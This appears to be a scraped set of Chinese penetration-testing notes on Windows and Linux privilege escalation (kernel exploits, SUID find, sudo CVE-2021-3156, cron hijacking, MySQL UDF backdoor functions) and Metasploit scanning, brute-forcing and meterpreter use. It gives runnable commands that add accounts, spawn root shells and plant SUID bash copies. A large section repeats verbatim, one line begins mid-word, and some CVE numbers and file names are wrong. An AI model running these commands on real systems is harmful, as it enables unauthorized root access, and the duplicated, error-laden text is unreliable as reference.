**注意:**脚本一般在获得的shellcode中执行(大马)
提权可能会遇到的问题
无法执行cmd命令——上传cmd.exe
无法上传提权exp——寻找有写权限目录
注意:哪些目录有写权限
日志、缓存、回收站、大马所在目录
如果目标使用套件搭建网站,获取webshell之后就是系统或者管理员权限
套件示例:phpstudy、xampp、wampsewer
注意:“宝塔” 套件。例外,安全性高,禁用很多函数,适用不同系统,考虑绕过。
提权——EXP的使用
使用EXP执行即可,一般情况下是使用cmd.exe文件(命令行下)来执行。在日常测试过程中,我们常常会先是拿到webshell在进行提权。所以提权脚本也常常会被webshell中运行使用。
例:(exp路径)·····ms0867.exe “net user hack 1234 /add”
使用systeminfo命令或者查看补丁目录,来判断有哪个补丁没打,然后使用相对应的exp进行提权。
过程:先找可写目录—> 上传cmd.exe 、提权exp等工具 ------> 使用exp提权,加账户等操作
Linux内核提权(提权成功几率大)
一般是采用exp,然后通过gcc编译执行exp,便能进行提权。Linux内核提权是利用Linux内核漏洞进行权限提示,只要有漏洞提权成功率想当高。Linux操心系统内核是系统的“灵魂大脑”,出现安全漏洞情况下,攻击者会很对这些安全隐患加以恶意利用,其中Linux内核漏洞是目前攻击者最为热爱的漏洞之一。
比较著名的内核漏洞:
CVE-2016-5159 脏牛提权(在Linux内核中隐藏了十年之久)
CVE-2017-16995 ubuntu内核漏洞
linux 系统漏洞的exp一般按照内核版本命名:2.6.18-194或2.6.18.c其中:2.6.18-194 类型可以直接执行;2.6.18-194 或 2.6.18.c 类型需要编译后运行、提权;也有少数exp是按照发行版本命名。
目标系统信息收集
uname -a #显示目标信息
linux有提权辅助脚本:linux-exploit-suggester.sh
提权——EXP使用方法
使用exp执行即可,一般情况下linux系统的本地提权需要用nc(netcat)反弹出来,因为linux下提升权限后得到的是交互式shell,需要反弹才能进行下一步命令的执行。
示例:
Linux本地内核提权 CVE-2017-16995
从网上下载exp,或者kali导出exp上传到提权主机上。
gcc 45010.c -o 45010 编译
chmod +x 45010 增加权限
./45010 执行脚本
id
Linux脏牛提权 CVE-2016-5159
upload /tmp/40837.cpp /tmp/40837.cpp 上传提权脚本
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil 编译
python -c 'import pty; pty.spawn("/bin/bash")' #利用python生成可交互式shell
./dcow 执行
Linux SUID提权
suid可以让调用者以文件拥有者的身份运行该文件,所以我们就利用suid提权的思路就是运行root用户所拥有的suid文件。运行该文件的时候就能获取到root用户的身份。
已知可以用来提权的Linux文件如下
nmap
vim
find
bash
more
less
nano
cp
漏洞形成原因: chmod u+s find
-rwsr-xr-x –用’s’字符代替’-'表示SUID位被设置
我们可以通过一下命令发现系统上运行所有suid可执行文件。不同系统命令不同。
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;
提权具体方式
我们首先查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null
/usr/bin/find
/usr/bin/chfn
/usr/bin/kismet_cap_rz_killerbee
/usr/bin/ntfs-3g
发现find信息,利用find提权执行命令
└─$ /usr/bin/find /etc/opt -exec whoami \;
root
在执行命令,提取成功。
└─$ find /etc/passwd -exec /bin/bash -p \;
bash-5.1#
免密执行root权限命令提权
sudo -l #列出当前用户可执行的root权限的命令
sudo提权
通过sudo安全漏洞,可以将普通用户提权为root权限。sudo提权漏洞(CVE-2019-14287),漏洞存在于sudo < 1.8.28 的版本。
利用条件:掌握普通用户密码;该用户拥有一定的sudo权限(对sudo命令进行了特殊的配置)。不常用。
sudo权限提升漏洞(CVE-2021-3156)(很火爆的一个漏洞,通杀多个版本Linux)。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。
受影响的版本
sudo 1.8.2 -1.8.31p2
sudo 1.9.0-1.9.5.p1
不受影响的版本
sudo =>1.9.5p2
示例
执行
sudoedit -s /
如果返回sudoedit则存在漏洞
root@kali:~# sudoedit -s /
sudoedit: /:不是常规文件 #sudoedit: /: not a regular file
root@kali:~#
如果返回usage则不存在漏洞
usage: sudoedit [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p prompt] [-T timeout] [-u user] file
提权
git clone https://github.com/blasty/CVE-2021-3156.git 下载exp
make 编译
./sudo-hax-me-a-sandwich 0 执行
定时任务提权
如果计划任何中存在root权限执行的脚本,并且脚本其他用户拥有写入权限则可以通过计划任务提权。
crontab提权
如果root用户通过crontab -e 或者 vim /etc/crontab添加了计划任务,计划任务中存在
脚本文件,且其他用户有可写权限,则可以通过计划任务提权。
示例
提权环境:root用户添加计划任务 vim /etc/crontab */1 * * * * root sh /home/you/test.sh >> /tmp/test.txt 意思为每隔一分钟执行test.sh脚本文件并输入到/tmp/test.txt中。 test.sh内容如下 vim /home/you/test.sh #! /bin/bash echo "hello 123456! " 环境OK,切换到普通用户下进行提权实验。 发现test.sh脚本 输入 vim test.sh 写入命令 cp /bin/bash /tmp/bash; chmod +s /tmp/bash 强制保存,后接着就会在/tmp下创建一个拥有suid权限的bash文件。 进行suid提权 /tmp/bash -p 即可获取root权限
数据库提权就是利用执行数据库语句、利用数据库函数等方式提升服务器用户的权限,借助数据库自身高权限运行的优势来执行操作系统命令。
数据库提权首先我们要先有访问数据库的特定功能的权限,所以通常我们拿到shell之后要去目标网站目录去找数据库连接文件,常在一些配置文件中。
UDF(用户定义函数)是一类对mysql服务器功能进行扩充的代码,通常是用C或C++写的
通过添加新函数,性质就像使用本地mysql函数abs()或conncat()。当你需要拓展mysql服务器功能时,udf通常是最好的选择
同时UDF也是黑客在拥有低权限mysql账号时一种比较好用的提权方式
使用场景
提权方式
注意:
UDF提权
语法
create function [函数名] returns string soname "导出的dll路径";
示例:create function cmdshell returns string soname "udf.dll";
功能函数说明
cmdshell #执行cmd
downloader #下载者,到网上下载指定文件并保存到指定目录
open3389 #通用,开启3389终端服务,可指定(不改端口无法重启)
regwrite #写注册表
regread #读注册表
backshell #反弹shell
processview #枚举系统进程
shut #关机,注释,重启
about #说明与帮助函数
SQL语句调用定义函数
select 创建的函数名('参数列表');
select cmdshell("not user test test/add"); #创建用户test,密码为test
函数调用完成后要把生成的dll和创建的函数删掉(先删函数再删dll)
格式: drop function 创建的函数名
示例: drop function cmdshell
MSF是一个渗透测试攻击框架,可支撑整个渗透过程。架构包含攻击模块、攻击载荷(payload)、以及辅助模块。2019年引入了一种新的规避机制(evasion capabilities)即免杀,且支持多项语言,支持数据库和自动化API的改进等。
辅助模块
metasploit为渗透测试的信息收集环节提供了大量的辅助模块支持,包括针对各种网络服务的扫描与查点。构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、FUZZ测试发掘漏洞、实施网络协议欺骗等模块。
辅助模块能够帮助渗透测试者在渗透攻击之前取得目标系统丰富的情报信息。
渗透攻击模块
渗透攻击模块是利用发现的安全漏洞或配置弱点对目标进行攻击,以植入和运行攻击载荷,从而获取对远程目标系统访问权的代码组件。
攻击载荷模块
攻击载荷(payload)是在渗透攻击成功后使目标系统运行的一段植入代码,通常的作用是为渗透攻击者打开在目标系统上的控制会话连接。
空指令模块
空指令(NOP)是一些对程序运行状态不会造成任何实际影响的空操作或者无关指令,最典型的空指令就是空操作,在x86CPU体系架构平台中的操作码是0x90。
编辑器模块
攻击载荷模块与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入到邪恶数据缓冲区交由目标系统运行之前,metasploit 框架还需要完成一道非常重要的工序——编码。
编码器的模块的第一个使命就是确保攻击载荷不会出现渗透攻击过程中应加以规避的“坏字符”。第二个使命就是对攻击载荷进行“免杀”处理。
后渗透攻击模块
后渗透攻击模块主要支持在渗透攻击取得目标系统控制权之后,在受控制系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等(扩大战果)
免杀模块
对攻击载荷进行“免杀”处理
渗透攻击是目前metasploit最强大和最具吸引力的核心功能,metasploit框架中集成了数百个针对主流操作系统平台上,不同网络服务与应用软件安全的漏洞的渗透攻击模块。用户可根据实际情况进行选择,并能够自由装配该平台上适用的具有指定功能的攻击载荷,然后通过自动化编码机制绕过攻击限制与检测措施,对目标系统实施远程攻击,获取系统的访问控制权。
除了渗透攻击之外,metasploit在发展过程中逐渐增加对渗透测试全过程的支持,包括情报收集、威胁建模、漏洞分析、后渗透攻击与报告生成(专业版有这个功能)。
注意:
MSF的启动:msfconsole
更新(无法直接更新,需要卸载旧版,重新安装最新版):apt-get install metasploit-fkonework
情报收集阶段
metasploit一方面通过内建的一系列扫描器与查点辅助模块来获取远程服务器信息,另一方面通过插件机制集成调用nmap、nessus、openvas等业界著名的开源网络扫描工具,从而具备全面的信息搜集能力,为渗透攻击实施提供必不可少的精神情报。
威胁建模阶段
在搜集信息之后,metasploit支持一系列数据库命令操作直接将这些信息汇总至postgresql、mysql、sqllite数据库中。并为用户提供易用的数据库查询命令,可以帮助渗透测试者对目标系统搜集到的情报进行威胁建模,从中找出最可行的攻击路径。
漏洞分析阶段
除了信息搜集环节能够直接扫描出一些已公布的安全漏洞之外,metasploit 中还提供大量的协议Fuzz测试器与web应用漏洞探测分析模块,支持具有一定水平能力的渗透测试者在实际过程中尝试挖掘出口0day漏洞,并对漏洞机理与利用方法进行深入分析,而这将为渗透攻击目标带来更大的杀伤力,并提供渗透测试流程的技术含量。
后渗透攻击阶段
在成功实施渗透攻击并获得目标系统的远程控制权之后,metasploit框架中另一个极具威名的工具metepreter在后渗透攻击阶段提供了强大功能。
metepreter可以看作一个支持多操作系统平台,可以仅仅驻留于内存中并且具备免杀能力的高级后门工具,metepreter中实现了特权提升、信息撰取、系统监控、跳板攻击与内网拓展等多样化的功能特性,此外还支持一种灵活可拓展的方式来加载额外功能的后渗透攻击模块。
报告生成阶段
MSF框架的渗透测试结果可以输入至内置数据库中,因此这些结果可以通过数据查询来获取,并辅助渗透测报告的写作。
商业版的metasploit pro具备更加强大的报告能力,可以输出HTML、XML、word和PDF
网站敏感目录扫描
可以借助metasploit中的brute_dirs、dir_listing、dir_scanner等辅助模块来进行敏感目录扫描。他们主要使用暴力猜解的方式工作,注意此处需要提供一个目录字典
示例:
use auxliary/scanner/http/dir_scanner
set RHOSTS 172.16.132.138(目标ip)
set PATH /cms/ #web起始路径
set THREADS 50 #设置扫描线程(速度)
exploit/run
dir_scanner模块可发现网站上一些目录,例:Admin、images······,只要字典足够大,可以找到更多敏感目录。
主机发现
metasploit 中提供了一些辅助模块可用于主机发现,这些模块位于modules/auxiliary/scanner/discovery/目录中
示例:
auxiliary/scanner/discover/arp_sweep
·························/empty_udp、ipv6_multicast_ping、ipv6_neighbor····
可以使用arp_sweep来枚举本地局域网中的所有活跃主机
示例
use auxiliary/scanner/discover/arp_sweep
set RHOSTS ····
set THREADS 50
exploit/run
端口扫描
metasploit的辅助模块中提供了几款实用的端口扫描器。在auxiliary/scanner/portscan/ 目录
示例
auxiliary/scanner/portscan/ack
··························/syn、xmas、ftpbounce/tcp
一般情况下推荐使用syn端口扫描器,因为他的扫描速度较快,结果比较准确且不易被对方察觉。
示例
use auxiliary/scanner/portscan/syn
set RHOSTS ······
set THREADS 50
exploit
探测服务详细信息
在metasploit 中有一些插件可以调用系统中的命令,比如可以使用nmap探测目标的详细服务信息
示例:
nmap -sS -Pn 192,168.1.1 -sV
注:
-sS #使用SYN半连接扫描
-Pn #在扫描之前,不发送IcmE echo请求测试目标是否活跃
服务查点
在metasploit的辅助模块中,有很多用于服务扫描和查点的工具,这些工具通常以[service_name]_version命名。该模块可用于遍历网络中某种服务的主机,并进一步确定服务的版本。
telnet服务查点
telnet是一个历史悠久但是缺乏安全性的网络服务,由于telnet没有对传输数据进行加密,越来越多的管理员渐渐使用更为安全的SSH协议代替它尽管如此,很多价格昂贵、寿命更长的大型交换机使用telnet协议的可能性更大,而此类交换机在网络中的位置一般来说都是非常重要。可以使用telnet_version模块扫描是否有主机或设备开启了telnet服务。
SSH服务查点
通常管理员会使用SSH对服务器进行远程管理,服务器会向SSH客户端返回一个远程shell连接。如果没有做其他的安全增强配置,只要获取服务的登录口令,就可以使用SSH客户端登录服务器,那就相当于获取了响应的登录用户的所有权限。可以使用ssh_version模块遍历网络中开启SSH服务的主机。
示例:
use auxiliary/scanner/ssh/ssh_version、telnet/telnet_version
set RHOSTS ·······
set THREADS 50
expolit
msSQL查点
可以使用mssql_ping查找网络中的microsort SQL Server
示例:
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS 目标ip/24 back
set THREADS 50
expolit
注意:
除上述服务查点外,还有一些其他服务可“查”,都在auxiliary/scaner/ 目录下
口令猜测(爆破)
示例:telnet、ssh、mssql 口令猜测(爆破)
示例:
use auxiliary/scanner/telnet/telnet_login、ssh/ssh_login、mssql/mssql_login
注:其他需设置项,可通过 show options 查看
background #将meterpreter终端隐藏在后台 sessions #查看已经成功获取的会话。-i 选项,切入后台会话 shell #获取系统的控制台shell quit #关闭当前meterpreter会话,返回MSF终端 pwd #获取目标机上当前的工作目录 cd #切换目录 ls #查看当前目录下内容 upload #上传文件。示例:upload [攻击需上传文件绝对路径] cat #查看文件内容 edit #编辑文件 download #下载文件 search #搜索文件 ifconfig/ipconfig #查看网卡信息 route #查看路由信息、设置路由(跳板) sysifo #查看系统信息 getpid #查看当前进程 ps #查看进程 getuid #获取当前用户id migrate #切换进程 execute #执行文件 kill #杀死进程(指定Pid) shutdown #关机 screenshot #屏幕快照(截屏)
elete权限
最好mysql是默认启动的权限(system)
提权方式
注意:
UDF提权
语法
create function [函数名] returns string soname "导出的dll路径";
示例:create function cmdshell returns string soname "udf.dll";
功能函数说明
cmdshell #执行cmd
downloader #下载者,到网上下载指定文件并保存到指定目录
open3389 #通用,开启3389终端服务,可指定(不改端口无法重启)
regwrite #写注册表
regread #读注册表
backshell #反弹shell
processview #枚举系统进程
shut #关机,注释,重启
about #说明与帮助函数
SQL语句调用定义函数
select 创建的函数名('参数列表');
select cmdshell("not user test test/add"); #创建用户test,密码为test
函数调用完成后要把生成的dll和创建的函数删掉(先删函数再删dll)
格式: drop function 创建的函数名
示例: drop function cmdshell
MSF是一个渗透测试攻击框架,可支撑整个渗透过程。架构包含攻击模块、攻击载荷(payload)、以及辅助模块。2019年引入了一种新的规避机制(evasion capabilities)即免杀,且支持多项语言,支持数据库和自动化API的改进等。
辅助模块
metasploit为渗透测试的信息收集环节提供了大量的辅助模块支持,包括针对各种网络服务的扫描与查点。构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、FUZZ测试发掘漏洞、实施网络协议欺骗等模块。
辅助模块能够帮助渗透测试者在渗透攻击之前取得目标系统丰富的情报信息。
渗透攻击模块
渗透攻击模块是利用发现的安全漏洞或配置弱点对目标进行攻击,以植入和运行攻击载荷,从而获取对远程目标系统访问权的代码组件。
攻击载荷模块
攻击载荷(payload)是在渗透攻击成功后使目标系统运行的一段植入代码,通常的作用是为渗透攻击者打开在目标系统上的控制会话连接。
空指令模块
空指令(NOP)是一些对程序运行状态不会造成任何实际影响的空操作或者无关指令,最典型的空指令就是空操作,在x86CPU体系架构平台中的操作码是0x90。
编辑器模块
攻击载荷模块与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入到邪恶数据缓冲区交由目标系统运行之前,metasploit 框架还需要完成一道非常重要的工序——编码。
编码器的模块的第一个使命就是确保攻击载荷不会出现渗透攻击过程中应加以规避的“坏字符”。第二个使命就是对攻击载荷进行“免杀”处理。
后渗透攻击模块
后渗透攻击模块主要支持在渗透攻击取得目标系统控制权之后,在受控制系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等(扩大战果)
免杀模块
对攻击载荷进行“免杀”处理
渗透攻击是目前metasploit最强大和最具吸引力的核心功能,metasploit框架中集成了数百个针对主流操作系统平台上,不同网络服务与应用软件安全的漏洞的渗透攻击模块。用户可根据实际情况进行选择,并能够自由装配该平台上适用的具有指定功能的攻击载荷,然后通过自动化编码机制绕过攻击限制与检测措施,对目标系统实施远程攻击,获取系统的访问控制权。
除了渗透攻击之外,metasploit在发展过程中逐渐增加对渗透测试全过程的支持,包括情报收集、威胁建模、漏洞分析、后渗透攻击与报告生成(专业版有这个功能)。
注意:
MSF的启动:msfconsole
更新(无法直接更新,需要卸载旧版,重新安装最新版):apt-get install metasploit-fkonework
情报收集阶段
metasploit一方面通过内建的一系列扫描器与查点辅助模块来获取远程服务器信息,另一方面通过插件机制集成调用nmap、nessus、openvas等业界著名的开源网络扫描工具,从而具备全面的信息搜集能力,为渗透攻击实施提供必不可少的精神情报。
威胁建模阶段
在搜集信息之后,metasploit支持一系列数据库命令操作直接将这些信息汇总至postgresql、mysql、sqllite数据库中。并为用户提供易用的数据库查询命令,可以帮助渗透测试者对目标系统搜集到的情报进行威胁建模,从中找出最可行的攻击路径。
漏洞分析阶段
除了信息搜集环节能够直接扫描出一些已公布的安全漏洞之外,metasploit 中还提供大量的协议Fuzz测试器与web应用漏洞探测分析模块,支持具有一定水平能力的渗透测试者在实际过程中尝试挖掘出口0day漏洞,并对漏洞机理与利用方法进行深入分析,而这将为渗透攻击目标带来更大的杀伤力,并提供渗透测试流程的技术含量。
后渗透攻击阶段
在成功实施渗透攻击并获得目标系统的远程控制权之后,metasploit框架中另一个极具威名的工具metepreter在后渗透攻击阶段提供了强大功能。
metepreter可以看作一个支持多操作系统平台,可以仅仅驻留于内存中并且具备免杀能力的高级后门工具,metepreter中实现了特权提升、信息撰取、系统监控、跳板攻击与内网拓展等多样化的功能特性,此外还支持一种灵活可拓展的方式来加载额外功能的后渗透攻击模块。
报告生成阶段
MSF框架的渗透测试结果可以输入至内置数据库中,因此这些结果可以通过数据查询来获取,并辅助渗透测报告的写作。
商业版的metasploit pro具备更加强大的报告能力,可以输出HTML、XML、word和PDF
网站敏感目录扫描
可以借助metasploit中的brute_dirs、dir_listing、dir_scanner等辅助模块来进行敏感目录扫描。他们主要使用暴力猜解的方式工作,注意此处需要提供一个目录字典
示例:
use auxliary/scanner/http/dir_scanner
set RHOSTS 172.16.132.138(目标ip)
set PATH /cms/ #web起始路径
set THREADS 50 #设置扫描线程(速度)
exploit/run
dir_scanner模块可发现网站上一些目录,例:Admin、images······,只要字典足够大,可以找到更多敏感目录。
主机发现
metasploit 中提供了一些辅助模块可用于主机发现,这些模块位于modules/auxiliary/scanner/discovery/目录中
示例:
auxiliary/scanner/discover/arp_sweep
·························/empty_udp、ipv6_multicast_ping、ipv6_neighbor····
可以使用arp_sweep来枚举本地局域网中的所有活跃主机
示例
use auxiliary/scanner/discover/arp_sweep
set RHOSTS ····
set THREADS 50
exploit/run
端口扫描
metasploit的辅助模块中提供了几款实用的端口扫描器。在auxiliary/scanner/portscan/ 目录
示例
auxiliary/scanner/portscan/ack
··························/syn、xmas、ftpbounce/tcp
一般情况下推荐使用syn端口扫描器,因为他的扫描速度较快,结果比较准确且不易被对方察觉。
示例
use auxiliary/scanner/portscan/syn
set RHOSTS ······
set THREADS 50
exploit
探测服务详细信息
在metasploit 中有一些插件可以调用系统中的命令,比如可以使用nmap探测目标的详细服务信息
示例:
nmap -sS -Pn 192,168.1.1 -sV
注:
-sS #使用SYN半连接扫描
-Pn #在扫描之前,不发送IcmE echo请求测试目标是否活跃
服务查点
在metasploit的辅助模块中,有很多用于服务扫描和查点的工具,这些工具通常以[service_name]_version命名。该模块可用于遍历网络中某种服务的主机,并进一步确定服务的版本。
telnet服务查点
telnet是一个历史悠久但是缺乏安全性的网络服务,由于telnet没有对传输数据进行加密,越来越多的管理员渐渐使用更为安全的SSH协议代替它尽管如此,很多价格昂贵、寿命更长的大型交换机使用telnet协议的可能性更大,而此类交换机在网络中的位置一般来说都是非常重要。可以使用telnet_version模块扫描是否有主机或设备开启了telnet服务。
SSH服务查点
通常管理员会使用SSH对服务器进行远程管理,服务器会向SSH客户端返回一个远程shell连接。如果没有做其他的安全增强配置,只要获取服务的登录口令,就可以使用SSH客户端登录服务器,那就相当于获取了响应的登录用户的所有权限。可以使用ssh_version模块遍历网络中开启SSH服务的主机。
示例:
use auxiliary/scanner/ssh/ssh_version、telnet/telnet_version
set RHOSTS ·······
set THREADS 50
expolit
msSQL查点
可以使用mssql_ping查找网络中的microsort SQL Server
示例:
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS 目标ip/24 back
set THREADS 50
expolit
注意:
除上述服务查点外,还有一些其他服务可“查”,都在auxiliary/scaner/ 目录下
口令猜测(爆破)
示例:telnet、ssh、mssql 口令猜测(爆破)
示例:
use auxiliary/scanner/telnet/telnet_login、ssh/ssh_login、mssql/mssql_login
注:其他需设置项,可通过 show options 查看
background #将meterpreter终端隐藏在后台 sessions #查看已经成功获取的会话。-i 选项,切入后台会话 shell #获取系统的控制台shell quit #关闭当前meterpreter会话,返回MSF终端 pwd #获取目标机上当前的工作目录 cd #切换目录 ls #查看当前目录下内容 upload #上传文件。示例:upload [攻击需上传文件绝对路径] cat #查看文件内容 edit #编辑文件 download #下载文件 search #搜索文件 ifconfig/ipconfig #查看网卡信息 route #查看路由信息、设置路由(跳板) sysifo #查看系统信息 getpid #查看当前进程 ps #查看进程 getuid #获取当前用户id migrate #切换进程 execute #执行文件 kill #杀死进程(指定Pid) shutdown #关机 screenshot #屏幕快照(截屏)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。